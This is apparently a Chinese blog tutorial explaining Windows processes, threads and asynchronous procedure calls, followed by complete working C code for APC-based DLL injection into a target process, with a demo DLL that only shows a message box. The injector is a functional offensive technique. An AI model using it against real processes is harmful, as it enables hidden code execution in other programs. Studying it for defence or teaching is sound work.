进程注入说人话系列：Windows API安全实战-APC注入

原创 已于 2025-03-26 20:59:33 修改 · 1.7k 阅读 · 54 · 41 · CC 4.0 BY-SA版权

文章标签： #windows #安全 #c语言

进程、线程、APC的关系

进程

- 进程：是Windows给程序分配的一个“大房子”，里面有内存空间、资源（比如文件句柄、窗口啥的）和执行环境。简单说，它是个容器，装着程序运行需要的一切东西。
- 在内核里，进程由一个EPROCESS结构体表示，包含了进程ID（PID）、虚拟内存地址空间、优先级啥的。每个进程有自己的4GB虚拟内存（32位系统为例），用户态占2GB，内核态占2GB。
- **关键点：进程本身不干活，它只是个壳子，真正干活的是里面的线程。**

线程

- 线程：进程里的“工人”，是CPU调度的最小单位。每个线程有自己的堆栈和寄存器，线程之间共享进程的内存和资源。一个进程可以有一个线程（主线程），也可以有多个线程并发干活。
- 内核用ETHREAD结构体表示线程，绑定在某个EPROCESS下。线程有自己的调度优先级和上下文，CPU通过时间片轮转让线程跑起来
- **关键点：线程是进程的执行单元，没线程，进程就是个空壳子。线程之间共享内存，但调度是独立的。**

APC

- APC是“异步过程调用”，简单说就是给线程塞个任务，让它在特定时机（比如等待I/O时）去执行。APC不自己跑，它得依附在线程身上。
- 使用场景：比如你在等文件读写完成，突然想插个队干点别的事（比如日志记录），APC就派上用场了。
- APC有两种：
  - 内核APC：内核态用的，比如驱动开发。
  - 用户APC：用户态用的。线程有个APC队列（挂在ETHREAD里），当线程进入可警醒状态（alertable state，比如调用SleepEx、WaitForSingleObjectEx），内核会从队列里掏出APC让线程执行。
- **关键点：APC不是线程，它是个“任务”，得靠线程执行，而且线程得配合（进入alertable状态）。**

三者的关系：分工

- 进程和线程：
  进程是工厂，线程是工人，在房子里干活。一个进程可以有多个线程，就像一个工厂可以有多个工人，负责不同的工作。进程挂了，线程全完蛋；线程挂了，进程还能活（只要还有其他线程）。
- 线程和APC：
  线程是干活的主力，APC是给线程送信的小弟。线程忙着跑代码，APC说：“哥，等你喘口气，帮我跑个腿”。**线程得进入可警醒状态（比如SleepEx）**，才会理APC。
- 进程和APC：
  APC不直接跟进程打交道，它得通过线程。进程管着线程，线程管着APC队列，所以APC最终还是得看进程这大哥的脸色。

- 系统层面：
  内核里，EPROCESS管着ETHREAD，ETHREAD管着APC队列。APC执行时，借用线程的上下文，跑在进程的地址空间里。

系统状态下的APC

- APC任务啥时候执行
  APC不是随时都能跑的，它得等线程进入一种特殊的状态——可警醒状态（alertable state）。简单说，线程只有在“有空”的时候，才会去处理APC队列里的任务。
  可警醒状态是线程在调用某些特定Windows API时进入的一种状态，这些API通常是跟等待相关的函数，而且往往带“Ex”后缀，比如：
  - SleepEx
  - WaitForSingleObjectEx
  - MsgWaitForMultipleObjectsEx
    当线程调用这些函数时，它会告诉系统：“我现在在等待，没啥要紧事，你可以让我处理点别的事，比如APC。”这时候，系统就会检查线程的APC队列，如果有任务，就让线程去执行。
- 为什么要等可警醒状态
  APC不能随便插队执行，因为线程在正常运行代码时，CPU寄存器和堆栈都在忙着。如果APC强行打断，可能会搞乱线程的执行逻辑，甚至导致程序崩溃。所以，Windows设计了可警醒状态，让APC在安全的时机（比如线程在等待时）执行。
- 系统怎么处理APC
  - 入队：通过QueueUserAPC，你把APC任务塞到目标线程的APC队列里。
  - 等待检查：线程调用SleepEx之类函数时，进入可警醒状态，系统检查APC队列。
  - 执行：如果队列里有APC，线程就暂停等待，去执行APC函数。执行完后，再继续等待或干别的。

注意：APC是借用目标线程的上下文执行的，用的是线程的堆栈和寄存器，不是开新线程跑。

常见疑问

- APC不是异步的吗？为什么还要等？
  APC是异步排队的，但执行是同步的，得等线程配合（进入可警醒状态）。
- 线程一直在忙（比如while(1)循环），APC会跑吗？
  不会。因为线程没进入可警醒状态，APC就一直排队等。

APC 注入

注入代码

c　　AI写代码 | 复制　▷ 运行

```c
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
```

```
BOOL InjectAPC(DWORD dwPid, const char* dllPath) {
    /*
    dwPid: 目标进程的PID
    dllPath: 要注入的DLL路径
    */

   // 打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,  // 指定打开进程的权限，这里指定为 所有权限
        FALSE,              // 指定是否继承句柄
        dwPid               // 指定要打开的进程ID
    );
    if (hProcess == NULL) {
        printf("[-] 打开进程失败: %d\n", GetLastError());
        return FALSE;
    }

    // 在目标进程中分配内存
    LPVOID pRemotePath = VirtualAllocEx(
        hProcess,                       // 指定目标进程
        NULL,                           // 指定目标内存地址，这里指定为 NULL，因为要分配内存
        strlen(dllPath) + 1,            // 指定要分配的内存大小，这里指定为 DLL 路径的长度 + 1，因为需要包含 NULL 终止符
        MEM_COMMIT | MEM_RESERVE,       // 指定内存分配的类型，这里指定为 可提交 和 保留 内存
        PAGE_READWRITE                  // 指定内存的访问权限，这里指定为 可读写
    );
    if (pRemotePath == NULL) {
        printf("[-] 内存分配失败: %d\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    // 写入 DLL 路径到目标进程内存
    if (!WriteProcessMemory(
        hProcess,               // 指定要写入数据的目标进程
        pRemotePath,            // 指定目标内存地址，这里指定为在目标进程中分配的pRemotePath内存地址
        dllPath,                // 源数据地址信息，也就是DLL路径
        strlen(dllPath) + 1,    // 要写入的字节数，这里指定为 DLL 路径的长度 + 1，因为需要包含 NULL 终止符
        NULL                    // 可选参数，标识实际写入了多少字节数。
    )) {
        printf("[-] 写入内存失败: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // 获取 LoadLibraryA 函数地址，固定写法。从 kernel32.dll 中获取LoadLibraryA的内存地址用于挂载APC
    LPTHREAD_START_ROUTINE pLoadLibraryA = (LPTHREAD_START_ROUTINE)GetProcAddress(
```

```
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA"
    );

    if (pLoadLibraryA == NULL) {
        printf("[-] 获取 LoadLibraryA 函数地址失败: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // 获取当前系统中所有线程的快照
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[-] 获取线程快照失败: %d\n", GetLastError());
        return FALSE;
    }

    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD successCount = 0;

    // 这里通过获取到的线程快照中所属的进程ID与目标进程的PID进行对比，如果相同则打开该线程
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == dwPid) {
                // 打开匹配到的目标进程的线程
                HANDLE hThread = OpenThread(
                    // 指定打开线程的权限。APC需要用到的权限：THREAD_SET_CONTEXT 允许设置线程的上下文。THREAD_SUSPEND_RESUME 允许挂起和恢复线程。THREAD_QUERY_INFORMATION 允许查询线程信息。
                    THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
                    FALSE,  // 指定是否继承句柄
                    te.th32ThreadID  // 指定要打开的线程ID
                );
                if (hThread) {
                    // 挂载 APC 到目标进程的线程，
                    DWORD res = QueueUserAPC(
                        (PAPCFUNC)pLoadLibraryA,  // 指定要执行的函数，这里指定为 LoadLibraryA 函数，由LoadLibraryA 函数加载 目标DLL 到目标进程
                        hThread,                  // 指定目标线程，这里指定为当前遍历到的线程
                        (ULONG_PTR)pRemotePath    // 指定要传递的参数，这里指定为 目标DLL 的路径
                    );
                    if (res) {
                        printf("[+] 设置APC任务的线程ID: %d\n", te.th32ThreadID);
                        successCount++;
                    }
                    CloseHandle(hThread);
                }
                else {
                    printf("[-] OpenThread失败！线程ID: %d, 错误码: %d\n", te.th32ThreadID, GetLastError());
                }
            }
```

```
        } while (Thread32Next(hSnapshot, &te));
    }

    CloseHandle(hSnapshot);

    // 新创建一个远程 SleepEx(INFINITE, TRUE) 线程 + 挂载 APC。保底方案，如果所有线程都不 Alertable，则创建一个线程并挂载 APC
    HANDLE hSleepThread = CreateRemoteThread(
        hProcess,  // 指定目标进程
        NULL,      // 线程属性
        0,         // 线程栈大小
        (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "SleepEx"),  // 指定要执行的函数，这里指定为 SleepEx 函数，由 SleepEx 函数挂载 APC
        (LPVOID)INFINITE,  // 传递INFINITE 作为休眠时间，INFINITE是一个宏，表示无限休眠
        0,               // 创建标志
        NULL             // 线程ID
    );

    if (hSleepThread) {
        DWORD result = QueueUserAPC(
            (PAPCFUNC)pLoadLibraryA,  // 指定要执行的函数，这里指定为 LoadLibraryA 函数，由LoadLibraryA 函数加载 目标DLL 到目标进程
            hSleepThread,             // 指定目标线程，这里指定为通过CreateRemoteThread创建的线程
            (ULONG_PTR)pRemotePath    // 指定要传递的参数，这里指定为 目标DLL 的路径
        );
        if (result) {
            printf("[+] 成功挂载 APC 到新建 SleepEx 线程（强制 Alertable）！\n");
            successCount++;
        }
        else {
            printf("[-] QueueUserAPC 到 SleepEx 线程失败: %d\n", GetLastError());
        }

        // 线程保持运行，由系统回收；如果想控制它结束，DLL里可以清理
        CloseHandle(hSleepThread);
    }
    else {
        printf("[-] 创建远程 SleepEx 线程失败: %d\n", GetLastError());
    }

    CloseHandle(hProcess);

    if (successCount > 0) {
        printf("[+] APC 注入尝试完成！至少有一个线程进入 Alertable 状态。\n");
        return TRUE;
    }
    else {
        printf("[-] 所有线程都不 Alertable，DLL 注入失败。\n");
        return FALSE;
    }
}
```

```c

int main() {
    DWORD pid = 26912;
    const char* dllPath = "D:\\MessageBox-DLL\\InjectMe.dll";
    InjectAPC(pid, dllPath);
    return 0;
}
```

收起

InjectMe.dll代码

c

AI写代码 | 复制 运行

```c
#include <Process.h>
#include <stdio.h>
#include <Windows.h>

// 编译工具: 使用 x64 Native Tools Command Prompt for VS 2022
// 执行: cl /LD InjectMe.c /Fe:InjectMe.dll user32.lib

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        MessageBoxW(NULL, L"Hello Kitty 注入成功！", L"InjectMe.dll", MB_OK | MB_ICONINFORMATION);
    }
    return TRUE;
}
```

收起